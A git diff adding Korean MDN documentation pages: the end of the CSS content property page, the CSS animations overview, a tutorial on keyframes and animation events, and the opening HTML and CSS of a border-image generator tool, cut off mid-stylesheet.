+ +
#replaced {
+  content: url("https://mdn.mozillademos.org/files/12668/MDN.svg");
+}
+
+#replaced::after { /* will not show if element replacement is supported */
+  content: " (" attr(id) ")";
+}
+ +

결과

+ +

{{EmbedLiveSample('요소_대체', '100%', 200)}}

+ +

접근성 고려사항

+ +

CSS로 생성한 콘텐츠는 DOM이 포함하지 않고, 접근성 트리에도 들어가지 않습니다. 따라서 특정 접근성 기술/브라우저 조합이 내용을 표현하지 않을 수 있습니다. 콘텐츠가 포함한 정보가 페이지의 목적을 이해하는 것에 중요하다면 주 문서로 포함하는 것이 좋습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Content", "#content-property", "content")}}{{Spec2("CSS3 Content")}}
{{SpecName("CSS2.1", "generate.html#content", "content")}}{{Spec2("CSS2.1")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.content")}}

+ +

같이 보기

+ +
    +
  • {{Cssxref("::after")}}
  • +
  • {{Cssxref("::before")}}
  • +
  • {{Cssxref("::marker")}}
  • +
  • {{Cssxref("quotes")}}
  • +
  • {{cssxref("url()")}} 함수
  • +
diff --git a/files/ko/web/css/css_animated_properties/index.html b/files/ko/web/css/css_animated_properties/index.html new file mode 100644 index 0000000000..4f492a157d --- /dev/null +++ b/files/ko/web/css/css_animated_properties/index.html @@ -0,0 +1,14 @@ +--- +title: CSS animated properties +slug: Web/CSS/CSS_animated_properties +tags: + - CSS +translation_of: Web/CSS/CSS_animated_properties +--- +

{{CSSRef}}

+ +

일부 CSS 속성은 애니메이션될 수 있습니다, 즉 그 값을 바꿀 때 CSS animation 또는 CSS transition이 사용된 경우 부드러운 방식으로 바꿀 수 있습니다.

+ +

다음은 애니메이션 가능한 속성 목록입니다:

+ +

{{CSSAnimatedProperties}}

diff --git a/files/ko/web/css/css_animations/index.html b/files/ko/web/css/css_animations/index.html new file mode 100644 index 0000000000..5740301594 --- /dev/null +++ b/files/ko/web/css/css_animations/index.html @@ -0,0 +1,87 @@ +--- +title: CSS Animations +slug: Web/CSS/CSS_Animations +tags: + - CSS + - CSS Animations + - Overview + - Reference +translation_of: Web/CSS/CSS_Animations +--- +
{{CSSRef}}
+ +

CSS Animations is a module of CSS that lets you animate the values of CSS properties over time, using keyframes. The behavior of these keyframe animations can be controlled by specifying their timing function, duration, their number of repetitions, and other attributes.

+ +

Reference

+ +

CSS Properties

+ +
+
    +
  • {{cssxref("animation")}}
  • +
  • {{cssxref("animation-delay")}}
  • +
  • {{cssxref("animation-direction")}}
  • +
  • {{cssxref("animation-duration")}}
  • +
  • {{cssxref("animation-fill-mode")}}
  • +
  • {{cssxref("animation-iteration-count")}}
  • +
  • {{cssxref("animation-name")}}
  • +
  • {{cssxref("animation-play-state")}}
  • +
  • {{cssxref("animation-timing-function")}}
  • +
+
+ +

CSS At-rules

+ +
+
    +
  • {{cssxref("@keyframes")}}
  • +
+
+ +

Guides

+ +
+
Detecting CSS animation support
+
Describes a technique for detecting if a browser supports CSS animations.
+
Using CSS animations
+
Step-by-step tutorial about how to create animations using CSS. This article describes each relevant CSS property and at-rule and explains how they interact with each other.
+
CSS animations tips and tricks
+
Tips and tricks to help you get the most out of CSS animations. Currently offers a technique for replaying an animation which has already run through to completion, which the API doesn't support inherently.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations') }}{{ Spec2('CSS3 Animations') }}Initial definition.
+ +

Browser compatibility

+ +
+

animation property

+ +
+ + +

{{Compat("css.properties.animation")}}

+
+
+ +

See also

+ +
    +
  • Related to CSS Animations, CSS Transitions can trigger animations based on user actions.
  • +
diff --git a/files/ko/web/css/css_animations/using_css_animations/index.html b/files/ko/web/css/css_animations/using_css_animations/index.html new file mode 100644 index 0000000000..416e3fc515 --- /dev/null +++ b/files/ko/web/css/css_animations/using_css_animations/index.html @@ -0,0 +1,330 @@ +--- +title: CSS 애니메이션 사용하기 +slug: Web/CSS/CSS_Animations/Using_CSS_animations +tags: + - Advanced + - CSS + - CSS Animations + - Example + - Experimental + - Guide +translation_of: Web/CSS/CSS_Animations/Using_CSS_animations +--- +

{{SeeCompatTable}}{{CSSRef}}

+ +

CSS3 애니메이션은 엘리먼트에 적용되는 CSS 스타일을 다른 CSS 스타일로 부드럽게 전환시켜 줍니다. 애니메이션은 애니메이션을 나타내는 CSS 스타일과 애니메이션의 중간 상태를 나타내는 키프레임들로 이루어집니다.

+ +

CSS 애니메이션은 기존에 사용되던 스크립트를 이용한 애니메이션 보다 다음 세 가지 이유에서 이점을 가집니다.

+ +
    +
  1. 자바스크립트를 모르더라도 간단하게 애니메이션을 만들 수 있습니다.
  2. +
  3. 자바스크립트를 이용한 애니메이션은 잘 만들어졌더라도 성능이 좋지 못할때가 있습니다. CSS 애니메이션은 frame-skipping 같은 여러 기술을 이용하여 최대한 부드럽게 렌더링됩니다.
  4. +
  5. 브라우저는 애니메이션의 성능을 효율적으로 최적화할 수 있습니다. 예를 들어 현재 안보이는 엘리먼트에 대한 애니메이션은 업데이트 주기를 줄여 부하를 최소화할 수 있습니다.
  6. +
+ +

애니메이션 적용하기

+ +

CSS 애니메이션을 만드려면 {{ cssxref("animation") }} 속성과 이 속성의 하위 속성을 지정합니다. 애니메이션의 총 시간과 반복 여부등을 지정할 수 있습니다. 이 속성은 애니메이션의 중간상태를 기술하지 않는다는걸 명심하세요. 애니메이션의 중간 상태는 아래에서 다룰 {{ cssxref("@keyframes") }}  규칙을 이용하여 기술합니다. 

+ +

{{ cssxref("animation") }} 속성의 하위 속성은 다음과 같습니다.

+ +
+
{{ cssxref("animation-delay") }}
+
엘리먼트가 로드되고 나서 언제 애니메이션이 시작될지 지정합니다.
+
{{ cssxref("animation-direction") }}
+
애니메이션이 종료되고 다시 처음부터 시작할지 역방향으로 진행할지 지정합니다.
+
{{ cssxref("animation-duration") }}
+
한 싸이클의 애니메이션이 얼마에 걸쳐 일어날지 지정합니다.
+
{{ cssxref("animation-iteration-count") }}
+
애니메이션이 몇 번 반복될지 지정합니다. infinite로 지정하여 무한히 반복할 수 있습니다.
+
{{ cssxref("animation-name") }}
+
이 애니메이션의 중간 상태를 지정합니다. 중간 상태는  {{ cssxref("@keyframes") }} 규칙을 이용하여 기술합니다.
+
{{ cssxref("animation-play-state") }}
+
애니메이션을 멈추거나 다시 시작할 수 있습니다.
+
{{ cssxref("animation-timing-function") }}
+
중간 상태들의 전환을 어떤 시간간격으로 진행할지 지정합니다.
+
{{ cssxref("animation-fill-mode") }}
+
애니메이션이 시작되기 전이나 끝나고 난 후 어떤 값이 적용될지 지정합니다.
+
+ +

키프레임을 이용하여 애니메이션의 중간상태 기술하기

+ +

애니메이션의 중간 상태를 기술해 봅시다. {{ cssxref("@keyframes") }} 규칙을 이용해서 두개 이상의 중간 상태를 기술합니다. 각 중간 상태는 특정 시점에 엘리먼트가 어떻게 보일지 나타냅니다. 

+ +

CSS 스타일을 이용해 중간 상태에 어떻게 보일지 정의했다면 이 중간 상태가 전체 애니메이션에서 언제 등장할 지 {{ cssxref("percentage") }} 를 이용해 지정합니다. 0%는 애니메이션이 시작된 시점을 의미하고 100%는 애니메이션이 끝나는 시점을 의미합니다. 최소한 이 두 시점은 기술되어야 브라우저가 언제 애니메이션이 시작되고 끝나는지 알 수 있습니다. 0%와 100% 대신 from 과 to로 사용할 수도 있습니다.

+ +

시작 시점과 종료 시점 사이의 특정 시점에도 중간 상태를 지정할 수 있습니다.

+ +

예제

+ +
노트: 다음 예제들은 애니메이션 CSS 속성에 접두어가 사용되지 않았습니다(역자: -webkit-, -moz- 등). 오래된 브라우저는 접두어가 필요합니다. 
+ +

텍스트가 브라우저를 가로질러 움직이게 하기

+ +

다음 단순한 예제에서 {{ HTMLElement("p") }} 엘리먼트가 브라우저 윈도우 오른쪽에서 왼쪽으로 가로질러 움직이는걸 볼 수 있습니다.

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+
+ +

{{ HTMLElement("p") }} 엘리먼트에 지정한 CSS 규칙에서 {{ cssxref("animation-duration") }} 속성을 통해 애니메이션의 총 길이는 3초로 지정했습니다. 또 애니메이션의 중간 상태들을 {{ cssxref("@keyframes") }} 규칙을 사용하여 기술하고 이것들에게 slidein라는 이름을 붙였습니다.  그리고 p 엘리먼트에 slidein이라는 애니메이션을 지정했습니다.

+ +

CSS 애니메이션을 지원하지 않는 브라우저를 위하여 {{ HTMLElement("p") }} 에 특정 스타일을 지정하고 싶다면 그러셔도 됩니다. 여기서도 그렇게 할 수 있으나 이 예제에서는 애니메이션 효과만을 보기위해 지정하지 않았습니다. 

+ +

애니메이션의 중간 상태는 {{ cssxref("@keyframes") }} 규칙을 이용하여 기술합니다. 이 경우에서는 두개의 중간 상태를 기술했습니다. 첫 번째 중간 상태는 애니메이션이 시작되고 나서 0% 시점에 (from키워드를 사용해도 됩니다) 왼쪽 마진을 100%로 지정하는 것입니다. 왼쪽 마진을 100%로 지정했으므로 애니메이션이 시작된 시점에 브라우저 윈도우 오른쪽 모서리에 엘리먼트가 그려집니다.

+ +

두번째 중간 상태는 애니메이션이 시작되고나서 100% (to키워드를 사용해도 됩니다)시점에 왼쪽 마진을 0%으로 지정하는 것입니다. 따라서 애니메이션 마지막에는 엘리먼트가 브라우저 윈도우의 왼쪽 모서리에 그려집니다.

+ + +
<p>The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.</p>
+
+ +

{{EmbedLiveSample("텍스트가_브라우저를_가로질러_움직이게_하기","100%","250")}}

+ +

중간 상태 추가하기

+ +

이전 예제의 애니메이션에서 중간 상태를 추가해 봅시다. 왼쪽에서 오른쪽으로 엘리먼트가 움직일 때 글자 크기가 커지다가 다시 원래대로 줄어들게 해봅시다. 다음과 같은 중간 상태를 추가하면 됩니다.

+ +
75% {
+  font-size: 300%;
+  margin-left: 25%;
+  width: 150%;
+}
+
+ + + + +

애니메이션의 75% 시점에서 엘리먼트의 왼쪽 마진을 25%, 너비를 150%, 글자 크기를 300%로 지정하라는 의미입니다.

+ +

{{EmbedLiveSample("중간_상태_추가하기","100%","250")}}

+ +

애니메이션 반복하기

+ +

애니메이션을 반복하고 싶다면 {{ cssxref("animation-iteration-count") }} 속성을 사용하면 됩니다. 이 속성으로 애니메이션이 몇 번 반복될지 지정할 수 있습니다. 이 예제에서는 infinite 라는 값을 지정하여 무한히 반복되게 해 봅시다.

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+
+ + + + + +

{{EmbedLiveSample("애니메이션_반복하기","100%","250")}}

+ +

앞뒤로 움직이기

+ +

앞에서 애니메이션이 반복되는걸 보셨을 겁니다. 그런데 애니메이션이 끝나고 갑자기 오른쪽 모서리로 돌아가는게 어색합니다. 애니메이션이 끝났을 때 반대방향으로 이동하도록 만들어 봅시다. {{ cssxref("animation-direction") }} 속성을 alternate로 지정하면 됩니다.

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+
+ + + + + +

{{EmbedLiveSample("앞뒤로_움직이기","100%","250")}}

+ +

애니메이션 이벤트 사용하기

+ +

애니메이션 이벤트를 이용하여 애니메이션을 조종할 수 있습니다. {{ domxref("event/AnimationEvent", "AnimationEvent") }} 로 나타내어지는 애니메이션 이벤트를 사용하여 애니메이션의 시작, 끝, 새로운 반복의 시작등을 감지할 수 있습니다. 이벤트가 발생할 때마다 이벤트의 종류와 어떤 애니메이션에서 발생한 것인지 알 수도 있습니다.

+ +

위의 움직이는 글자 예제를 수정하여 애니메이션 이벤트를 어떻게 사용하는지 알아봅시다. 

+ +
.slidein {
+  -moz-animation-duration: 3s;
+  -webkit-animation-duration: 3s;
+  animation-duration: 3s;
+  -moz-animation-name: slidein;
+  -webkit-animation-name: slidein;
+  animation-name: slidein;
+  -moz-animation-iteration-count: 3;
+  -webkit-animation-iteration-count: 3;
+  animation-iteration-count: 3;
+  -moz-animation-direction: alternate;
+  -webkit-animation-direction: alternate;
+  animation-direction: alternate;
+}
+
+@-moz-keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+    margin-left:0%;
+    width:100%;
+  }
+}
+
+@-webkit-keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+   margin-left:0%;
+   width:100%;
+ }
+}
+
+@keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+   margin-left:0%;
+   width:100%;
+ }
+}
+

애니메이션 이벤트 리스너 추가하기

+ +

자바스크립트 코드를 사용하여 위에서 언급한 세개의 이벤트를 감지해 봅시다. setup() 함수는 애니메이션 이벤트 리스너를 추가하는 함수입니다. 문서가 로드되었을 때 이 함수를 실행할 것입니다.

+ +
function setup() {
+  var e = document.getElementById("watchme");
+  e.addEventListener("animationstart", listener, false);
+  e.addEventListener("animationend", listener, false);
+  e.addEventListener("animationiteration", listener, false);
+
+  var e = document.getElementById("watchme");
+  e.className = "slidein";
+}
+
+ +

어떻게 동작하는지 더 자세히 알고싶으면 {{ domxref("element.addEventListener()") }} 문서를 참고하세요. setup() 함수의 마지막 줄에서 엘리먼트의 class 를 "slidein"으로 지정하는 순간 애니메이션이 시작됩니다.

+ +

왜 이렇게 했을까요? 왜냐하면 animationstart 이벤트는 애니메이션이 시작되자마자 발생하므로 우리 코드에서는 이를 감지할 수 없습니다. 애니메이션이 시작될 때는 위의 코드가 실행되기 전이라 이벤트 리스너가 아직 추가되지 않았기 때문이지요. 따라서 이벤트 리스너를 먼저 추가하고 엘리먼트에 class를 지정하여 애니메이션을 시작했습니다.

+ +

이벤트 받기

+ +

각 이벤트가 발생할 때마다 listener() 함수로 넘겨집니다. 이 함수의 코드는 아래와 같습니다.

+ +
function listener(e) {
+  var l = document.createElement("li");
+  switch(e.type) {
+    case "animationstart":
+      l.innerHTML = "Started: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationend":
+      l.innerHTML = "Ended: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationiteration":
+      l.innerHTML = "New loop started at time " + e.elapsedTime;
+      break;
+  }
+  document.getElementById("output").appendChild(l);
+}
+
+ +

이 코드 역시 굉장히 단순합니다. {{ domxref("event.type") }} 을 보고 어떤 이벤트가 발생했는지 확인합니다. 그리고 {{ HTMLElement("ul") }} (순서 없는 리스트)에 그 이벤트의 로그를 나타내는 엘리먼트를 추가합니다.

+ +

결과는 다음과 같습니다.

+ +
    +
  • Started: elapsed time is 0
  • +
  • New loop started at time 3.01200008392334
  • +
  • New loop started at time 6.00600004196167
  • +
  • Ended: elapsed time is 9.234000205993652
  • +
+ +

이벤트가 발생한 시각이 위에서 지정한 애니메이션 시간과 굉장히 가깝지만 정확히 같지는 않다는걸 기억하세요. 또 애니메이션의 반복이 끝나는 순간에는  animationiteration 이벤트가 발생하지 않고 animationend 이벤트가 발생했다는걸 기억하세요.

+ +

HTML 코드 

+ +

완벽을 위해 예제에서 사용한 HTML 코드도 첨부합니다. 여기에는 페이지 내용뿐만 아니라 이벤트 로깅을 위한 ul 엘리먼트도 있습니다. 

+ +
<body onload="setup()">
+  <h1 id="watchme">Watch me move</h1>
+  <p>This example shows how to use CSS animations to make <code>h1</code> elements
+  move across the page.</p>
+  <p>In addition, we output some text each time an animation event fires, so you can see them in action.</p>
+  <ul id="output">
+  </ul>
+</body>
+
+ +

{{EmbedLiveSample('애니메이션_이벤트_사용하기', '600', '300')}}

+ +

더 보기

+ + diff --git a/files/ko/web/css/css_background_and_borders/border-image_generator/index.html b/files/ko/web/css/css_background_and_borders/border-image_generator/index.html new file mode 100644 index 0000000000..01ae23c400 --- /dev/null +++ b/files/ko/web/css/css_background_and_borders/border-image_generator/index.html @@ -0,0 +1,2627 @@ +--- +title: Border-image 생성기 +slug: Web/CSS/CSS_Background_and_Borders/Border-image_generator +tags: + - CSS + - CSS Borders + - Tools +translation_of: Web/CSS/CSS_Background_and_Borders/Border-image_generator +--- +

이 도구를 사용해 CSS3 {{cssxref("border-image")}} 값을 생성할 수 있습니다.

+ +
+

Border Image Generator

+ +

HTML Content

+ +
    <div id="container">
+
+        <div id="gallery">
+            <div id="image-gallery">
+                <img class="image" src="https://mdn.mozillademos.org/files/6007/border-image-1.png" data-stateID="border1"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6009/border-image-2.png" data-stateID="border2"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6011/border-image-3.png" data-stateID="border3"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6013/border-image-4.png" data-stateID="border4"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6015/border-image-5.png" data-stateID="border5"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6017/border-image-6.svg" data-stateID="border6"/>
+            </div>
+        </div>
+
+        <div id="load-actions" class="group section">
+            <div id="toggle-gallery" data-action="hide"> </div>
+            <div id="load-image" class="button"> Upload image </div>
+            <input id="remote-url" type="text" placeholder="Load an image from URL"/>
+            <div id="load-remote" class="button"> </div>
+        </div>
+
+        <div id="general-controls" class="group section">
+            <div class="name"> Control Box </div>
+            <div class="separator"></div>
+            <div class="property">
+                <div class="name">scale</div>
+                <div class="ui-input-slider" data-topic="scale"
+                    data-unit="%" data-max="300" data-sensivity="10">
+                </div>
+            </div>
+            <div class="separator"></div>
+            <div class="property">
+                <div class="name">draggable</div>
+                <div class="ui-checkbox" data-topic='drag-subject'></div>
+            </div>
+            <div class="property right">
+                <div class="name">section height</div>
+                <div class="ui-input-slider" data-topic="preview-area-height"
+                    data-min="400" data-max="1000">
+                </div>
+            </div>
+        </div>
+
+        <div id="preview_section" class="group section">
+            <div id="subject">
+                <div class="guideline" data-axis="Y" data-topic="slice-top"></div>
+                <div class="guideline" data-axis="X" data-topic="slice-right"></div>
+                <div class="guideline" data-axis="Y" data-topic="slice-bottom"></div>
+                <div class="guideline" data-axis="X" data-topic="slice-left"></div>
+            </div>
+            <div id="preview"> </div>
+        </div>
+
+        <!-- controls -->
+        <div id="controls" class="group section">
+
+            <!-- border-image-slice -->
+            <div id="border-slice-control" class="category">
+                <div class="title"> border-image-slice </div>
+                <div class="property">
+                    <div class="name">fill</div>
+                    <div class="ui-checkbox" data-topic='slice-fill'></div>
+                </div>
+            </div>
+
+            <!-- border-image-width -->
+            <div id="border-width-control" class="category">
+                <div class="title"> border-image-width </div>
+            </div>
+
+            <!-- border-image-outset -->
+            <div id="border-outset-control" class="category">
+                <div class="title"> border-image-outset </div>
+            </div>
+
+            <!-- other-settings -->
+            <div id="aditional-properties" class="category">
+                <div class="title"> aditional-properties </div>
+                <div class="property">
+                    <div class="name"> repeat-x </div>
+                    <div class="ui-dropdown border-repeat" data-topic="image-repeat-X" data-selected="2">
+                        <div data-value="0">repeat</div>
+                        <div data-value="0">stretch</div>
+                        <div data-value="0">round</div>
+                    </div>
+                </div>
+                <div class="property">
+                    <div class="name"> repeat-y </div>
+                    <div class="ui-dropdown border-repeat" data-topic="image-repeat-Y" data-selected="2">
+                        <div data-value="1">repeat</div>
+                        <div data-value="1">stretch</div>
+                        <div data-value="1">round</div>
+                    </div>
+                </div>
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="font-size" data-info="em size"
+                        data-unit="px" data-value="12" data-sensivity="3">
+                    </div>
+                </div>
+
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="preview-width" data-info="width"
+                         data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"></div>
+                </div>
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="preview-height" data-info="height"
+                        data-unit=" px" data-min="10" data-max="10000" data-sensivity="3">
+                    </div>
+                </div>
+            </div>
+
+
+            <div id="output" class="category">
+                <div class="title"> CSS Code </div>
+                <div class="css-property">
+                    <span class="name"> border-image-slice: </span>
+                    <span id="out-border-slice" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-width: </span>
+                    <span id="out-border-width" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-outset: </span>
+                    <span id="out-border-outset" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-repeat: </span>
+                    <span id="out-border-repeat" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-source: </span>
+                    <span id="out-border-source" class="value">  </span>
+                </div>
+            </div>
+
+        </div>
+    </div>
+ +

CSS Content

+ +
/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI DropDown
+ */
+
+/* Dropdown */
+
+.ui-dropdown {
+	height: 2em;
+	width: 120px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 12px;
+
+	background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
+	background-position: right center;
+	background-repeat: no-repeat;
+	background-color: #359740;
+
+	position: relative;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-dropdown:hover {
+	cursor: pointer;
+	background-color: #208B20;
+}
+
+/* Dropdown Select Button */
+
+.ui-dropdown-select {
+	height: inherit;
+	padding: 0 0.75em;
+	color: #FFF;
+	line-height: 2em;
+}
+
+/* Dropdown List */
+
+.ui-dropdown-list {
+	width: 100%;
+	height: 150px;
+	max-height: 150px;
+	margin: 0;
+	padding: 0 0.3em;
+
+	border: 3px solid #3490D2;
+	border-color: #208B20;
+	background: #666;
+	background-color: #EEF1F5;
+	color: #000;
+
+	position: absolute;
+	top: 2em;
+	left: 0;
+	z-index: 100;
+
+	overflow: hidden;
+	transition: all 0.3s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list:hover {
+	overflow: auto;
+}
+
+.ui-dropdown-list[data-hidden='true'] {
+	height: 0 !important;
+	opacity: 0;
+	visibility: hidden;
+}
+
+.ui-dropdown[data-position='left'] .ui-dropdown-list {
+	left: -100%;
+	top: 0;
+}
+
+.ui-dropdown[data-position='right'] .ui-dropdown-list {
+	left: 100%;
+	top: 0;
+}
+
+.ui-dropdown-list > div {
+	width: 100%;
+	height: 1.6em;
+	margin: 0.3em 0;
+	padding: 0.3em;
+	line-height: 1em;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list > div:hover {
+	background: #3490D2;
+	color:#FFF;
+	border-radius: 2px;
+	cursor: pointer;
+}
+
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 2px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * BORDER IMAGE GENERATOR TOOL
+ */
+
+body {
+	width: 100%;
+	margin: 0 auto;
+	padding: 0 0 20px 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	/*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/
+	border: 1px solid #EEE;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+body[data-move='X'] {
+	cursor: w-resize !important;
+}
+
+body[data-move='Y'] {
+	cursor: s-resize !important;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+[data-draggable='true']:hover {
+	cursor: move;
+}
+
+[data-draggable='true']:hover > * {
+	cursor: default;
+}
+
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/*
+ * Border Image Picker
+ */
+
+#gallery {
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#image-gallery {
+	width: 600px;
+	height: 100px;
+	margin: 0 auto;
+	transition: margin 0.4s;
+}
+
+#image-gallery .image {
+	height: 80px;
+	float: left;
+	margin: 10px;
+	opacity: 0.5;
+	background-color: #FFF;
+	box-shadow: 0px 0px 3px 1px #BABABA;
+}
+
+#image-gallery .image[selected="true"] {
+	box-shadow: 0px 0px 3px 1px #3BBA52;
+	opacity: 1;
+}
+
+#image-gallery .image:hover {
+	cursor: pointer;
+	box-shadow: 0px 0px 3px 1px #30ACE5;
+	opacity: 1;
+}
+
+#image-gallery[data-collapsed='true'] {
+	margin-top: -100px;
+}
+
+/* Load Menu */
+
+#load-actions {
+	margin: 10px 0;
+}
+
+#toggle-gallery {
+	width: 30px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+	background-repeat: no-repeat;
+	background-position: top 4px center;
+	background-color: #888888 !important;
+
+	border-radius: 2px;
+	float: left;
+}
+
+#toggle-gallery:hover {
+	cursor: pointer;
+}
+
+#toggle-gallery[data-action='show'] {
+	background-image: url('https://mdn.mozillademos.org/files/6001/arrow-down-white.png');
+	background-color: #888888 !important;
+}
+
+#toggle-gallery[data-action='hide'] {
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+}
+
+.button {
+	width: 100px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+	text-align: center;
+	font-size: 12px;
+	line-height: 25px;
+	background-color: #379B4A;
+	border-radius: 2px;
+	float: left;
+}
+
+.button:hover {
+	cursor: pointer;
+	background-color: #3380C4;
+}
+
+#load-image {
+	float: left;
+}
+
+#load-remote {
+	width: 30px;
+	background-image: url('https://mdn.mozillademos.org/files/6003/arrow-right-white.png');
+	background-repeat: no-repeat;
+	background-position: center center;
+}
+
+#remote-url {
+	width: 200px;
+	height: 23px;
+	margin: 10px;
+	padding: 0 5px;
+	border: 1px solid #379B4A;
